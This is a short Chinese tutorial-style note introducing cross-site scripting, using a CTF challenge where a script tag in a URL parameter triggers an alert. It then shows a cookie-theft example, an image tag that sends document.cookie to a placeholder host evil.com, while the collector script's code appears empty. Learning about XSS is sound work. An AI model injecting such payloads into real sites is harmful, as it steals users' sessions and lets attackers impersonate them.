XSS初步认知学习
XSS攻击初步认知及学习
Cross-Stie Scripting,跨站脚本攻击,又称为HTML注入。
xss本质上是一种代码注入,允许用户将恶意代码注入网页,其他用户在观看网页时会受到影响。
我们通过下面这个题目来简单了解一下xss注入
[N1BOOK]XSS闯关(level1)
这个题有多个level,每个level的目标都是利用xss在当前页面弹窗
level1的页面打开后有一个welcome xss,welcome后面的内容是可以通过url传参控制的
那我们构造username=<script>alert(1)</script>的话,代码就会变成
Welcome <script>alert(1)</script>
结果就是会在当前页面进行一次弹窗
后面的level主要是考察一些绕过和注入技巧,例如javascript伪协议和模板注入等等
XSS的实际应用
上面的题目中,xss只是用来进行一个弹窗的操作,看似没有什么危害。
试想以下一个例子:假如某网站的留言功能存在xss漏洞,我留言了一段精心构造的恶意代码,使每一个看到我留言的人都会自动访问一个我指定的恶意网站,其后果不堪设想。
比如我们通过xss写入
<img src="http://www.evil.com/cookiegeter.php?cookie="+document.cookie></img>
而我们在自己的网站上部署的cookiegeter.php,内容如下
1 |
|
这样我们就能窃取到其他用户的cookie并保存在txt中
虽然现在很多网站的cookie都设置了http only,无法通过xss漏洞来直接读取cookie,但我们仍可以通过xss漏洞来模仿其他用户进行一些操作。
总结与感想
xss漏洞的原理不难理解,但是也有一些值得深挖的内容,比如CSP
遗憾的是没有找到难度合适的xss题目来讲解,要么是难度太低只是一些基础的简单的绕过,要么就是难度过高杂合了其他太多知识点,不适合作为例题。以后的具体题目中出现xss再单独写一篇吧。